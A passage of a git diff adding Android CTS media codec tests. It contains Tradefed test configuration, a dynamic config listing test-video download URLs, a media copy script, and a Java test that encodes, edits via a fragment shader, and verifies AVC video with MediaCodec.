+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
+        <option name="set-test-harness" value="false" />
+        <option name="screen-always-on" value="on" />
+        <option name="screen-adaptive-brightness" value="off" />
+        <option name="disable-audio" value="false"/>
+        <option name="screen-saver" value="off"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="CtsMediaCodecTestCases" />
+        <option name="dynamic-config-name" value="CtsMediaCodecTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaCodecTestCases" />
+        <option name="version" value="7.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
+        <option name="push-all" value="true" />
+        <option name="media-folder-name" value="CtsMediaCodecTestCases-1.0" />
+        <option name="dynamic-config-module" value="CtsMediaCodecTestCases" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaCodecTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.codec.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 30 min -->
+        <option name="test-timeout" value="1800000" />
+        <option name="runtime-hint" value="4h" />
+        <option name="exclude-annotation" value="org.junit.Ignore" />
+        <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/media/codec/DynamicConfig.xml b/tests/tests/media/codec/DynamicConfig.xml
new file mode 100644
index 0000000..53dbb01
--- /dev/null
+++ b/tests/tests/media/codec/DynamicConfig.xml
@@ -0,0 +1,32 @@
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+    <entry key="media_codec_capabilities_test_avc_baseline12">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=160&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=9EDCA0B395B8A949C511FD5E59B9F805CFF797FD.702DE9BA7AF96785FD6930AD2DD693A0486C880E&amp;key=ik0</value>
+    </entry>
+    <entry key="media_codec_capabilities_test_avc_baseline30">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=18&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=7DCDE3A6594D0B91A27676A3CDC3A87B149F82EA.7A83031734CB1EDCE06766B6228842F954927960&amp;key=ik0</value>
+    </entry>
+    <entry key="media_codec_capabilities_test_avc_high31">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=22&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=179525311196616BD8E1381759B0E5F81A9E91B5.C4A50E44059FEBCC6BBC78E3B3A4E0E0065777&amp;key=ik0</value>
+    </entry>
+    <entry key="media_codec_capabilities_test_avc_high40">
+        <value>http://redirector.gvt1.com/videoplayback?id=271de9756065677e&amp;itag=137&amp;source=youtube&amp;user=android-device-test&amp;sparams=ip,ipbits,expire,id,itag,source,user&amp;ip=0.0.0.0&amp;ipbits=0&amp;expire=19000000000&amp;signature=B0976085596DD42DEA3F08307F76587241CB132B.043B719C039E8B92F45391ADC0BE3665E2332930&amp;key=ik0</value>
+    </entry>
+    <entry key="media_files_url">
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/codec/CtsMediaCodecTestCases-1.0.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/tests/media/codec/OWNERS b/tests/tests/media/codec/OWNERS
new file mode 100644
index 0000000..ae8937e
--- /dev/null
+++ b/tests/tests/media/codec/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+include platform/frameworks/av:/media/janitors/codec_OWNERS
diff --git a/tests/tests/media/codec/copy_media.sh b/tests/tests/media/codec/copy_media.sh
new file mode 100755
index 0000000..a2a7ef6
--- /dev/null
+++ b/tests/tests/media/codec/copy_media.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+## script to install media test files manually
+[ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/..
+source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
+get_adb_options "$@"
+copy_media "codec" "CtsMediaCodecTestCases-1.0"
diff --git a/tests/tests/media/res/layout/composition_layout.xml b/tests/tests/media/codec/res/layout/composition_layout.xml
similarity index 100%
rename from tests/tests/media/res/layout/composition_layout.xml
rename to tests/tests/media/codec/res/layout/composition_layout.xml
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/DecodeEditEncodeTest.java b/tests/tests/media/codec/src/android/media/codec/cts/DecodeEditEncodeTest.java
new file mode 100644
index 0000000..14f8516
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/DecodeEditEncodeTest.java
@@ -0,0 +1,997 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.content.Context;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.cts.InputSurface;
+import android.media.cts.OutputSurface;
+import android.media.cts.TestArgs;
+import android.opengl.GLES20;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.fail;
+
+/**
+ * This test has three steps:
+ * <ol>
+ *   <li>Generate a video test stream.
+ *   <li>Decode the video from the stream, rendering frames into a SurfaceTexture.
+ *       Render the texture onto a Surface that feeds a video encoder, modifying
+ *       the output with a fragment shader.
+ *   <li>Decode the second video and compare it to the expected result.
+ * </ol><p>
+ * The second step is a typical scenario for video editing.  We could do all this in one
+ * step, feeding data through multiple stages of MediaCodec, but at some point we're
+ * no longer exercising the code in the way we expect it to be used (and the code
+ * gets a bit unwieldy).
+ */
+@RunWith(Parameterized.class)
+public class DecodeEditEncodeTest {
+    private static final String TAG = "DecodeEditEncode";
+    private static final boolean WORK_AROUND_BUGS = false;  // avoid fatal codec bugs
+    private static final boolean VERBOSE = false;           // lots of logging
+    private static final boolean DEBUG_SAVE_FILE = false;   // save copy of encoded movie
+
+    // parameters for the encoder
+    private static final int FRAME_RATE = 15;               // 15fps
+    private static final int IFRAME_INTERVAL = 10;          // 10 seconds between I-frames
+    private static final String KEY_ALLOW_FRAME_DROP = "allow-frame-drop";
+
+    // movie length, in frames
+    private static final int NUM_FRAMES = FRAME_RATE * 3;   // three seconds of video
+
+    // since encoders are lossy, we treat the first N frames differently, with a different
+    // tolerance, than the remainder of the clip.  The # of such frames is
+    // INITIAL_TOLERANCE_FRAME_LIMIT, the tolerance within that window is defined by
+    // INITIAL_TOLERANCE and the tolerance afterwards is defined by TOLERANCE
+    private final int INITIAL_TOLERANCE_FRAME_LIMIT = FRAME_RATE * 2;
+
+    // allowed error between input and output
+    private static final int TOLERANCE = 8;
+
+    // allowed error between input and output for initial INITIAL_TOLERANCE_FRAME_LIMIT frames
+    private static final int INITIAL_TOLERANCE = 10;
+
+    private static final int TEST_R0 = 0;                   // dull green background
+    private static final int TEST_G0 = 136;
+    private static final int TEST_B0 = 0;
+    private static final int TEST_R1 = 236;                 // pink; BT.601 YUV {120,160,200}
+    private static final int TEST_G1 = 50;
+    private static final int TEST_B1 = 186;
+
+    // Replaces TextureRender.FRAGMENT_SHADER during edit; swaps green and blue channels.
+    private static final String FRAGMENT_SHADER =
+            "#extension GL_OES_EGL_image_external : require\n" +
+            "precision mediump float;\n" +
+            "varying vec2 vTextureCoord;\n" +
+            "uniform samplerExternalOES sTexture;\n" +
+            "void main() {\n" +
+            "  gl_FragColor = texture2D(sTexture, vTextureCoord).rbga;\n" +
+            "}\n";
+
+    // component names
+    private final String mEncoderName;
+    private final String mDecoderName;
+    // mime
+    private final String mMediaType;
+    // size of a frame, in pixels
+    private final int mWidth;
+    private final int mHeight;
+    // bit rate, in bits per second
+    private final int mBitRate;
+
+    // largest color component delta seen (i.e. actual vs. expected)
+    private int mLargestColorDelta;
+
+    static private List<Object[]> prepareParamList(List<Object[]> exhaustiveArgsList) {
+        final List<Object[]> argsList = new ArrayList<>();
+        int argLength = exhaustiveArgsList.get(0).length;
+        for (Object[] arg : exhaustiveArgsList) {
+            String mediaType = (String)arg[0];
+            if (TestArgs.shouldSkipMediaType(mediaType)) {
+                continue;
+            }
+            String[] encoderNames = MediaUtils.getEncoderNamesForMime(mediaType);
+            String[] decoderNames = MediaUtils.getDecoderNamesForMime(mediaType);
+            // First pair of decoder and encoder that supports given mediaType is chosen
+            outerLoop:
+            for (String decoder : decoderNames) {
+                if (TestArgs.shouldSkipCodec(decoder)) {
+                    continue;
+                }
+
+                for (String encoder : encoderNames) {
+                    if (TestArgs.shouldSkipCodec(encoder)) {
+                        continue;
+                    }
+                    Object[] testArgs = new Object[argLength + 2];
+                    // Add encoder name and decoder name as first two arguments and then
+                    // copy arguments passed
+                    testArgs[0] = encoder;
+                    testArgs[1] = decoder;
+                    System.arraycopy(arg, 0, testArgs, 2, argLength);
+                    argsList.add(testArgs);
+                    // Only one combination of encoder and decoder is tested
+                    break outerLoop;
+                }
+            }
+        }
+        return argsList;
+    }
+
+    @Before
+    public void shouldSkip() {
+        MediaFormat format = MediaFormat.createVideoFormat(mMediaType, mWidth, mHeight);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+        assumeTrue(MediaUtils.supports(mEncoderName, format));
+        assumeTrue(MediaUtils.supports(mDecoderName, format));
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{2}_{3}_{4})")
+    public static Collection<Object[]> input() {
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                // mediaType, width, height, bitrate
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 176, 144, 1000000},
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 320, 240, 2000000},
+                {MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720, 6000000},
+        });
+        return prepareParamList(exhaustiveArgsList);
+    }
+
+    public DecodeEditEncodeTest(String encoder, String decoder, String mimeType, int width,
+            int height, int bitRate) {
+        if ((width % 16) != 0 || (height % 16) != 0) {
+            Log.w(TAG, "WARNING: width or height not multiple of 16");
+        }
+        mEncoderName = encoder;
+        mDecoderName = decoder;
+        mMediaType = mimeType;
+        mWidth = width;
+        mHeight = height;
+        mBitRate = bitRate;
+    }
+
+    @Test
+    public void testVideoEdit() throws Throwable {
+        VideoEditWrapper.runTest(this);
+    }
+
+    /**
+     * Wraps testEditVideo, running it in a new thread.  Required because of the way
+     * SurfaceTexture.OnFrameAvailableListener works when the current thread has a Looper
+     * configured.
+     */
+    private static class VideoEditWrapper implements Runnable {
+        private Throwable mThrowable;
+        private DecodeEditEncodeTest mTest;
+
+        private VideoEditWrapper(DecodeEditEncodeTest test) {
+            mTest = test;
+        }
+
+        @Override
+        public void run() {
+            try {
+                mTest.videoEditTest();
+            } catch (Throwable th) {
+                mThrowable = th;
+            }
+        }
+
+        /** Entry point. */
+        public static void runTest(DecodeEditEncodeTest obj) throws Throwable {
+            VideoEditWrapper wrapper = new VideoEditWrapper(obj);
+            Thread th = new Thread(wrapper, "codec test");
+            th.start();
+            th.join();
+            if (wrapper.mThrowable != null) {
+                throw wrapper.mThrowable;
+            }
+        }
+    }
+
+    /**
+     * Tests editing of a video file with GL.
+     */
+    private void videoEditTest()
+            throws IOException {
+        VideoChunks sourceChunks = new VideoChunks();
+
+        if (!generateVideoFile(sourceChunks)) {
+            // No AVC codec?  Fail silently.
+            return;
+        }
+
+        if (DEBUG_SAVE_FILE) {
+            // Save a copy to a file.  We call it ".mp4", but it's actually just an elementary
+            // stream, so not all video players will know what to do with it.
+            Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+            String dirName = context.getFilesDir().getAbsolutePath();
+            String fileName = "vedit1_" + mWidth + "x" + mHeight + ".mp4";
+            sourceChunks.saveToFile(new File(dirName, fileName));
+        }
+
+        VideoChunks destChunks = editVideoFile(sourceChunks);
+
+        if (DEBUG_SAVE_FILE) {
+            Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+            String dirName = context.getFilesDir().getAbsolutePath();
+            String fileName = "vedit2_" + mWidth + "x" + mHeight + ".mp4";
+            destChunks.saveToFile(new File(dirName, fileName));
+        }
+
+        checkVideoFile(destChunks);
+    }
+
+    /**
+     * Generates a test video file, saving it as VideoChunks.  We generate frames with GL to
+     * avoid having to deal with multiple YUV formats.
+     *
+     * @return true on success, false on "soft" failure
+     */
+    private boolean generateVideoFile(VideoChunks output)
+            throws IOException {
+        if (VERBOSE) Log.d(TAG, "generateVideoFile " + mWidth + "x" + mHeight);
+        MediaCodec encoder = null;
+        InputSurface inputSurface = null;
+
+        try {
+            // We avoid the device-specific limitations on width and height by using values that
+            // are multiples of 16, which all tested devices seem to be able to handle.
+            MediaFormat format = MediaFormat.createVideoFormat(mMediaType, mWidth, mHeight);
+
+            // Set some properties.  Failing to specify some of these can cause the MediaCodec
+            // configure() call to throw an unhelpful exception.
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+            format.setInteger(MediaFormat.KEY_BIT_RATE, mBitRate);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+            format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+            format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+            format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+            if (VERBOSE) Log.d(TAG, "format: " + format);
+            output.setMediaFormat(format);
+
+            // Create a MediaCodec for the desired codec, then configure it as an encoder with
+            // our desired properties.
+            encoder = MediaCodec.createByCodecName(mEncoderName);
+            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            inputSurface = new InputSurface(encoder.createInputSurface());
+            inputSurface.makeCurrent();
+            encoder.start();
+
+            generateVideoData(encoder, inputSurface, output);
+        } finally {
+            if (encoder != null) {
+                if (VERBOSE) Log.d(TAG, "releasing encoder");
+                encoder.stop();
+                encoder.release();
+                if (VERBOSE) Log.d(TAG, "released encoder");
+            }
+            if (inputSurface != null) {
+                inputSurface.release();
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Generates video frames, feeds them into the encoder, and writes the output to the
+     * VideoChunks instance.
+     */
+    private void generateVideoData(MediaCodec encoder, InputSurface inputSurface,
+            VideoChunks output) {
+        final int TIMEOUT_USEC = 10000;
+        ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        int generateIndex = 0;
+        int outputCount = 0;
+
+        // Loop until the output side is done.
+        boolean inputDone = false;
+        boolean outputDone = false;
+        while (!outputDone) {
+            if (VERBOSE) Log.d(TAG, "gen loop");
+
+            // If we're not done submitting frames, generate a new one and submit it.  The
+            // eglSwapBuffers call will block if the input is full.
+            if (!inputDone) {
+                if (generateIndex == NUM_FRAMES) {
+                    // Send an empty frame with the end-of-stream flag set.
+                    if (VERBOSE) Log.d(TAG, "signaling input EOS");
+                    if (WORK_AROUND_BUGS) {
+                        // Might drop a frame, but at least we won't crash mediaserver.
+                        try { Thread.sleep(500); } catch (InterruptedException ie) {}
+                        outputDone = true;
+                    } else {
+                        encoder.signalEndOfInputStream();
+                    }
+                    inputDone = true;
+                } else {
+                    generateSurfaceFrame(generateIndex);
+                    inputSurface.setPresentationTime(computePresentationTime(generateIndex) * 1000);
+                    if (VERBOSE) Log.d(TAG, "inputSurface swapBuffers");
+                    inputSurface.swapBuffers();
+                }
+                generateIndex++;
+            }
+
+            // Check for output from the encoder.  If there's no output yet, we either need to
+            // provide more input, or we need to wait for the encoder to work its magic.  We
+            // can't actually tell which is the case, so if we can't get an output buffer right
+            // away we loop around and see if it wants more input.
+            //
+            // If we do find output, drain it all before supplying more input.
+            while (true) {
+                int encoderStatus = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                if (encoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    // no output available yet
+                    if (VERBOSE) Log.d(TAG, "no output from encoder available");
+                    break;      // out of while
+                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    // not expected for an encoder
+                    encoderOutputBuffers = encoder.getOutputBuffers();
+                    if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
+                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    // expected on API 18+
+                    MediaFormat newFormat = encoder.getOutputFormat();
+                    if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
+                } else if (encoderStatus < 0) {
+                    fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
+                } else { // encoderStatus >= 0
+                    ByteBuffer encodedData = encoderOutputBuffers[encoderStatus];
+                    if (encodedData == null) {
+                        fail("encoderOutputBuffer " + encoderStatus + " was null");
+                    }
+
+                    // Codec config flag must be set iff this is the first chunk of output.  This
+                    // may not hold for all codecs, but it appears to be the case for video/avc.
+                    assertTrue((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0 ||
+                            outputCount != 0);
+
+                    if (info.size != 0) {
+                        // Adjust the ByteBuffer values to match BufferInfo.
+                        encodedData.position(info.offset);
+                        encodedData.limit(info.offset + info.size);
+
+                        output.addChunk(encodedData, info.flags, info.presentationTimeUs);
+                        outputCount++;
+                    }
+
+                    encoder.releaseOutputBuffer(encoderStatus, false);
+                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        outputDone = true;
+                        break;      // out of while
+                    }
+                }
+            }
+        }
+
+        // One chunk per frame, plus one for the config data.
+        assertEquals("Frame count", NUM_FRAMES + 1, outputCount);
+    }
+
+    /**
+     * Generates a frame of data using GL commands.
+     * <p>
+     * We have an 8-frame animation sequence that wraps around.  It looks like this:
+     * <pre>
+     *   0 1 2 3
+     *   7 6 5 4
+     * </pre>
+     * We draw one of the eight rectangles and leave the rest set to the zero-fill color.     */
+    private void generateSurfaceFrame(int frameIndex) {
+        frameIndex %= 8;
+
+        int startX, startY;
+        if (frameIndex < 4) {
+            // (0,0) is bottom-left in GL
+            startX = frameIndex * (mWidth / 4);
+            startY = mHeight / 2;
+        } else {
+            startX = (7 - frameIndex) * (mWidth / 4);
+            startY = 0;
+        }
+
+        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glClearColor(TEST_R0 / 255.0f, TEST_G0 / 255.0f, TEST_B0 / 255.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glScissor(startX, startY, mWidth / 4, mHeight / 2);
+        GLES20.glClearColor(TEST_R1 / 255.0f, TEST_G1 / 255.0f, TEST_B1 / 255.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+    }
+
+    /**
+     * Edits a video file, saving the contents to a new file.  This involves decoding and
+     * re-encoding, not to mention conversions between YUV and RGB, and so may be lossy.
+     * <p>
+     * If we recognize the decoded format we can do this in Java code using the ByteBuffer[]
+     * output, but it's not practical to support all OEM formats.  By using a SurfaceTexture
+     * for output and a Surface for input, we can avoid issues with obscure formats and can
+     * use a fragment shader to do transformations.
+     */
+    private VideoChunks editVideoFile(VideoChunks inputData)
+            throws IOException {
+        if (VERBOSE) Log.d(TAG, "editVideoFile " + mWidth + "x" + mHeight);
+        VideoChunks outputData = new VideoChunks();
+        MediaCodec decoder = null;
+        MediaCodec encoder = null;
+        InputSurface inputSurface = null;
+        OutputSurface outputSurface = null;
+
+        try {
+            MediaFormat inputFormat = inputData.getMediaFormat();
+
+            // Create an encoder format that matches the input format.  (Might be able to just
+            // re-use the format used to generate the video, since we want it to be the same.)
+            MediaFormat outputFormat = MediaFormat.createVideoFormat(mMediaType, mWidth, mHeight);
+            outputFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+            outputFormat.setInteger(MediaFormat.KEY_BIT_RATE,
+                    inputFormat.getInteger(MediaFormat.KEY_BIT_RATE));
+            outputFormat.setInteger(MediaFormat.KEY_FRAME_RATE,
+                    inputFormat.getInteger(MediaFormat.KEY_FRAME_RATE));
+            outputFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL,
+                    inputFormat.getInteger(MediaFormat.KEY_I_FRAME_INTERVAL));
+            outputFormat.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+            outputFormat.setInteger(MediaFormat.KEY_COLOR_STANDARD,
+                    MediaFormat.COLOR_STANDARD_BT601_PAL);
+            outputFormat.setInteger(MediaFormat.KEY_COLOR_TRANSFER,
+                    MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
+
+            outputData.setMediaFormat(outputFormat);
+
+            encoder = MediaCodec.createByCodecName(mEncoderName);
+            encoder.configure(outputFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            inputSurface = new InputSurface(encoder.createInputSurface());
+            inputSurface.makeCurrent();
+            encoder.start();
+
+            // OutputSurface uses the EGL context created by InputSurface.
+            decoder = MediaCodec.createByCodecName(mDecoderName);
+            outputSurface = new OutputSurface();
+            outputSurface.changeFragmentShader(FRAGMENT_SHADER);
+            // do not allow frame drops
+            inputFormat.setInteger(KEY_ALLOW_FRAME_DROP, 0);
+
+            decoder.configure(inputFormat, outputSurface.getSurface(), null, 0);
+            decoder.start();
+
+            // verify that we are not dropping frames
+            inputFormat = decoder.getInputFormat();
+            assertEquals("Could not prevent frame dropping",
+                         0, inputFormat.getInteger(KEY_ALLOW_FRAME_DROP));
+
+            editVideoData(inputData, decoder, outputSurface, inputSurface, encoder, outputData);
+        } finally {
+            if (VERBOSE) Log.d(TAG, "shutting down encoder, decoder");
+            if (outputSurface != null) {
+                outputSurface.release();
+            }
+            if (inputSurface != null) {
+                inputSurface.release();
+            }
+            if (encoder != null) {
+                encoder.stop();
+                encoder.release();
+            }
+            if (decoder != null) {
+                decoder.stop();
+                decoder.release();
+            }
+        }
+
+        return outputData;
+    }
+
+    /**
+     * Edits a stream of video data.
+     */
+    private void editVideoData(VideoChunks inputData, MediaCodec decoder,
+            OutputSurface outputSurface, InputSurface inputSurface, MediaCodec encoder,
+            VideoChunks outputData) {
+        final int TIMEOUT_USEC = 10000;
+        ByteBuffer[] decoderInputBuffers = decoder.getInputBuffers();
+        ByteBuffer[] encoderOutputBuffers = encoder.getOutputBuffers();
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        int inputChunk = 0;
+        int outputCount = 0;
+
+        boolean outputDone = false;
+        boolean inputDone = false;
+        boolean decoderDone = false;
+        while (!outputDone) {
+            if (VERBOSE) Log.d(TAG, "edit loop");
+
+            // Feed more data to the decoder.
+            if (!inputDone) {
+                int inputBufIndex = decoder.dequeueInputBuffer(TIMEOUT_USEC);
+                if (inputBufIndex >= 0) {
+                    if (inputChunk == inputData.getNumChunks()) {
+                        // End of stream -- send empty frame with EOS flag set.
+                        decoder.queueInputBuffer(inputBufIndex, 0, 0, 0L,
+                                MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                        inputDone = true;
+                        if (VERBOSE) Log.d(TAG, "sent input EOS (with zero-length frame)");
+                    } else {
+                        // Copy a chunk of input to the decoder.  The first chunk should have
+                        // the BUFFER_FLAG_CODEC_CONFIG flag set.
+                        ByteBuffer inputBuf = decoderInputBuffers[inputBufIndex];
+                        inputBuf.clear();
+                        inputData.getChunkData(inputChunk, inputBuf);
+                        int flags = inputData.getChunkFlags(inputChunk);
+                        long time = inputData.getChunkTime(inputChunk);
+                        decoder.queueInputBuffer(inputBufIndex, 0, inputBuf.position(),
+                                time, flags);
+                        if (VERBOSE) {
+                            Log.d(TAG, "submitted frame " + inputChunk + " to dec, size=" +
+                                    inputBuf.position() + " flags=" + flags);
+                        }
+                        inputChunk++;
+                    }
+                } else {
+                    if (VERBOSE) Log.d(TAG, "input buffer not available");
+                }
+            }
+
+            // Assume output is available.  Loop until both assumptions are false.
+            boolean decoderOutputAvailable = !decoderDone;
+            boolean encoderOutputAvailable = true;
+            while (decoderOutputAvailable || encoderOutputAvailable) {
+                // Start by draining any pending output from the encoder.  It's important to
+                // do this before we try to stuff any more data in.
+                int encoderStatus = encoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                if (encoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    // no output available yet
+                    if (VERBOSE) Log.d(TAG, "no output from encoder available");
+                    encoderOutputAvailable = false;
+                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    encoderOutputBuffers = encoder.getOutputBuffers();
+                    if (VERBOSE) Log.d(TAG, "encoder output buffers changed");
+                } else if (encoderStatus == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    MediaFormat newFormat = encoder.getOutputFormat();
+                    if (VERBOSE) Log.d(TAG, "encoder output format changed: " + newFormat);
+                } else if (encoderStatus < 0) {
+                    fail("unexpected result from encoder.dequeueOutputBuffer: " + encoderStatus);
+                } else { // encoderStatus >= 0
+                    ByteBuffer encodedData = encoderOutputBuffers[encoderStatus];
+                    if (encodedData == null) {
+                        fail("encoderOutputBuffer " + encoderStatus + " was null");
+                    }
+
+                    // Write the data to the output "file".
+                    if (info.size != 0) {
+                        encodedData.position(info.offset);
+                        encodedData.limit(info.offset + info.size);
+
+                        outputData.addChunk(encodedData, info.flags, info.presentationTimeUs);
+                        outputCount++;
+
+                        if (VERBOSE) Log.d(TAG, "encoder output " + info.size + " bytes");
+                    }
+                    outputDone = (info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0;
+                    encoder.releaseOutputBuffer(encoderStatus, false);
+                }
+                if (encoderStatus != MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    // Continue attempts to drain output.
+                    continue;
+                }
+
+                // Encoder is drained, check to see if we've got a new frame of output from
+                // the decoder.  (The output is going to a Surface, rather than a ByteBuffer,
+                // but we still get information through BufferInfo.)
+                if (!decoderDone) {
+                    int decoderStatus = decoder.dequeueOutputBuffer(info, TIMEOUT_USEC);
+                    if (decoderStatus == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                        // no output available yet
+                        if (VERBOSE) Log.d(TAG, "no output from decoder available");
+                        decoderOutputAvailable = false;
+                    } else if (decoderStatus == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                        //decoderOutputBuffers = decoder.getOutputBuffers();
